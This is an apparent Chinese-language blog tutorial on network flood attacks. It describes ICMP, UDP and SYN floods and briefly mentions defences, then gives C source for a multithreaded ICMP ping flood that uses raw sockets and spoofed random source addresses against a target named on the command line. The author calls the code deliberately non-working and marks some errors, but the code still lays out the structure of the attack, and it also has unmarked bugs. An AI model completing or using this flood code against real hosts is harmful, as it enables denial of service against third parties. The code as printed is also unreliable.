hello !大家好呀! 欢迎大家来到我的网络编程系列之洪水网络攻击,在这篇文章中,你将会学习到在网络编程中的洪水网络攻击的原理,以及源码剖析,能让大家更能了解网络编程技术!!!
希望这篇文章能对你有所帮助,大家要是觉得我写的不错的话,那就点点免费的小爱心吧!
目录
[1.1 什么是洪水攻击?](#1.1 什么是洪水攻击?)
[1.2 洪水攻击的三种类型](#1.2 洪水攻击的三种类型)
[2.1 基本过程分析](#2.1 基本过程分析)
[2.2 具体实现](#2.2 具体实现)
[2.2.1 ICMP报文发送:](#2.2.1 ICMP报文发送:)
[2.2.2 主函数](#2.2.2 主函数)
一.洪水攻击
1.1 什么是洪水攻击?
洪水攻击,也被称为拒绝服务攻击(DoS),是一种旨在通过使网络或系统资源耗尽来阻止用户访问服务的攻击手段。这种攻击通常通过发送大量请求来淹没目标系统,导致合法用户无法访问服务,其中主要利用了网络协议的安全机制或者直接使用十分简单的大量ping资源的方法来对目标机造成影响
1.2 洪水攻击的三种类型
ICMP洪水攻击: ICMP(Internet Control Message Protocol)用于在IP网络中发送控制消息,比如我们常用的ping命令就是基于ICMP协议的。ICMP洪水攻击,也称为Ping洪水攻击,是通过向目标主机发送大量ICMP Echo请求(ping命令)来进行的,这会导致目标主机响应大量的ICMP Echo回复,从而耗尽其网络带宽或系统资源。
UDP洪水攻击: UDP(User Datagram Protocol)是一种无连接的协议,常用于视频流、在线游戏等应用。UDP洪水攻击则是利用UDP协议的特性,向目标主机发送大量的UDP数据包。由于UDP是无连接的,目标主机在接收到这些数据包时,会尝试查找对应的端口和应用程序,但往往找不到,因此会为每个数据包发送一个ICMP不可达错误。这会消耗目标主机的带宽和系统资源。
SYN洪水攻击: SYN洪水攻击发生在TCP(Transmission Control Protocol)连接的三次握手阶段。攻击者发送大量的TCP SYN请求到目标主机,但并不回复SYN-ACK,这样目标主机会为每个SYN请求保留资源,等待完整的握手完成。由于这些连接永远不会完成,这会导致目标主机的资源被耗尽,无法建立新的连接。
为了防范这些攻击,网络管理员通常会部署防火墙、入侵检测系统(IDS)和入侵防御系统(IPS)等安全措施来监控和过滤可疑流量。同时,合理配置网络设备和服务器,关闭不必要的服务和端口,也能有效减少被攻击的风险。
二.ICMP洪水攻击原理剖析
2.1 基本过程分析
ICMP洪水攻击,也称为Ping洪水攻击,是一种网络攻击方式,它通过向目标主机发送大量的ICMP Echo请求(ping命令)来消耗其网络带宽和系统资源。这种攻击的实现过程通常包括以下几个步骤:
-
选择目标:攻击者首先选择一个或多个目标主机作为攻击对象。这些目标通常是网络中的服务器或关键设备。
-
创建伪造的ICMP请求:攻击者会编写或使用现成的工具来生成大量的ICMP Echo请求。这些请求通常会包含伪造的源IP地址,以隐藏攻击者的真实身份。
-
发送ICMP请求:攻击者将大量的ICMP Echo请求发送到目标主机。由于这些请求的源IP地址是伪造的,目标主机无法直接回送到真正的攻击源。
-
消耗目标资源:目标主机接收到这些ICMP请求后,会尝试回应每个请求。这会导致目标主机的网络带宽和系统资源被大量消耗,从而影响其正常服务。
-
持续攻击:攻击者会持续发送ICMP请求,直到目标主机无法正常响应或网络连接饱和。
-
防御绕过:为了绕过网络防御系统,攻击者可能会使用各种技术,如IP地址欺骗、分布式攻击(使用多个攻击源)等。
-
攻击终止:攻击者可以在任何时间停止发送ICMP请求,或者在网络防御措施生效后被迫停止攻击。
2.2 具体实现
由于这个洪水攻击属于非法代码,我在这里给出大致代码,这个代码不能运行使用,我的目的是让大家能更好了解这个过程,学习网络编程相关知识。
2.2.1 ICMP报文发送:
cpp
//icmp头部打包函数
static void DoS_icmp(void){
struct sockaddr_in to;
struct ip * iph; //ip头部结构
struct icmp * icmph; //icmp头部结构
char * packet ; //数据包大小
int pktsize = sizeof( struct ip) + sizeof (struct icmp) + 64;
packet = malloc (pktsize);
iph = (struct ip *) packet;
icmph = (struct icmp *) (packet + sizeof (struct ip));
memset(packet , 0 , pktsize);
iph->ip_v =4;//ip版本
iph->ip_hl=5;//ip头部长度
iph->ip_tos=0;//服务类型
iph->ip_len = htons(pktsize) ; //ip报文总长度
iph->ip_id = htons(getppid()); //标识设置为pid
iph->ip_off = 0;
iph->ip_ttl = 0x0;
iph->ip_p = port_icmp;
iph->ip_sum = 0;
iph->ip_src = (unsigned long ) myrandom(0,65535);
iph->ip_dst = dest;
icmp->icmp_type = ICMP_ECHO;//回显请求
icmp->icmp_code =0;
icmp->icmp_sum = htons(~(ICMP_ECHO<<8));
to.sin_family = AF_INET;
to.sin_addr.s_addr = iph->ip_dst;
to.sin_port = htons(0);
sendto(rawsock , packet , pktsize , 0,(struct sockaddr *) &to , sizeof(struct sockaddr));
free(packet);
}
实现一个简单的ICMP洪水攻击(也称为Ping洪水攻击)。这种攻击通过向目标主机发送大量的ICMP Echo请求(ping命令),由于安全原因,这里不对这个代码进行详细解释,大家有不懂的可以自行上网学习。
2.2.2 主函数
cpp
static void DoS_fun(unsigned long ip){
while(alive){
DoS_icmp();
}
}
- 定义了一个执行ICMP洪水攻击的函数
DoS_fun
,它在一个循环中不断调用DoS_icmp
函数,直到alive
标志变为0。
cpp
int main(int argc , char * argv[]){
struct hostent * host = NULL; //主机信息
struct protoent * protocol = NULL;
char protoname[] = "icmp";
int i = 0;
pthread_t pthread[maxchild];//线程组
int err = -1;
alive = 1;
signal(SIGINT ,sig_process); // 错误:信号处理函数名错误,应该是sig_process
if(argc < 2){
return -1;
}
protocol = getprotobyname(protoname);
if(protocol ==NULL) E_MSG("getprotobyname" ,-1); // 错误:E_MSG未定义,应该是exit(-1);
port_icmp = protocol->p_proto;
dest = inet_addr(argv[1]);
if(dest == INADDR_NONE){
host = getprotobyname(argv[1]); // 错误:应该是gethostbyname
memcpy((char *)&dest , host->h_addr.s_addr , host->h_length);
}
int rawsock = socket(AF_INET ,SOCK_RAW , RAW); // 错误:RAW应该是port_icmp
if(rawsock<0) rawsock = socket(AF_INET ,SOCK_RAW , PROTO_ICMP); // 错误:PROTO_ICMP未定义,应该是port_icmp
setsockopt(rawsock , SOL_IP , IP_HDRINCL , "1" , sizeof("1"));
for(int i =0; i<maxchild ; i++){
err = pthread_create(&pthread[i] , NULL, DoS_fun ,NULL); // 错误:DoS_fun应该接收ip参数,但是这里传递的是NULL
}
for(int i =0; i<maxchild ; i++){
pthread_join(pthread[i],NULL);
}
close(rawsock);
return 0;
}
- 程序的主函数
main
接受一个命令行参数,即目标IP地址。 - 它首先设置
alive
标志为1,并注册了SIGINT
信号的处理函数。 - 然后使用
getprotobyname
获取ICMP协议的值,并尝试将命令行参数转换为IP地址。 - 如果转换失败,它会尝试通过域名解析获取IP地址。
- 接下来,它创建一个原始套接字用于发送ICMP
好啦!到这里这篇文章就结束啦,关于实例代码中我写了很多注释,如果大家还有不懂得,可以评论区或者私信我都可以哦!! 感谢大家的阅读,我还会持续创造网络编程相关内容的,记得点点小爱心和关注哟!